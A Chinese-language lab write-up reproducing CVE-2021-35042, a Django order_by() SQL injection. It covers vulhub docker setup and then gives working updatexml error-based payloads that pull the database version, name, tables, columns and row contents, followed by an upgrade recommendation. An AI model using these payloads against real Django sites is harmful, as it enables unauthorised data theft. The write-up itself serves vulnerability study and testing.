漏洞描述
Django是一个开放源代码的Web应用框架,由Python写成。采用了MVC的框架模式,即模型M,视图V和控制器C。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的,即是CMS(内容管理系统)软件。
Django 组件存在 SQL 注入漏洞,该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不足,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行 SQL 注入攻击,最终造成服务器敏感信息泄露。
利用方式:1、用户认证:不需要用户认证 2、触发方式:远程,属于高危漏洞。
影响版本
Django 3.2
Django 3.1
3.漏洞环境搭建
我们选择使用docker搭建vulhub进行漏洞复现
下载docker
#更新软件源中的所有软件列表
apt-get update
#安装https协议及CA证书
apt-get install -y apt-transport-https ca-certificates
#下载安装docker
apt install docker.io
#查看Docker是否安装成功
docker run hello-world
下载vulhub靶场
#安装pip3
apt-get install python3-pip
#安装Docker-Compose
pip3 install docker-compose
#查看docker-compose版本
docker-compose -v
#安装vulhub靶场
git clone https://github.com/vulhub/vulhub.git
4.漏洞复现
进入CVE-2021-35042路径
docker-compose build
docker-compose up -d
环境启动后,首先,转到列表视图http://your-ip:8000/vuln/
添加order=-id到 GET 参数
改变参数大小写,报错,确定数据库为mysql,库名为cve,当前用户为root
1、查询根目录, /usr/
?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@basedir)),1)%23
为什么order=vuln_collection.name),其中vuln是我们的应用程序和collection表,collection表中有id、name的字段。
确认数据库版本, 5.7.41
?order=vuln_collection.name);select%20updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)%23
查询库,cve
?order=vuln_collection.name);select%20updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)%23
查询表,django_migrations,vuln_collect
?order=vuln_collection.name);select%20updatexml(1,make_set(3,%27~%27,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())),1)%23
查询列,id、app、name、applied
?order=vuln_collection.name);select%20updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="django_migrations")),1)%23
查询内容 ,如下图所示
?order=vuln_collection.name);select%20updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,id,0x3a,app,0x23,name,0x23,applied,0x23) FROM django_migrations),0x7e),1)%23
updatexml报错注入原理:
`concat()`函数是将其连成一个字符串,因此不会符合`XPath_string`的格式,因此会造成格式错误
`0x7e` ASCII码,实为`~`,updatexml报错为特殊字符、字母及之后的内容,为了防止前面的字母丢失,开头连接一个特殊字符
5.修复建议
更新到最新版本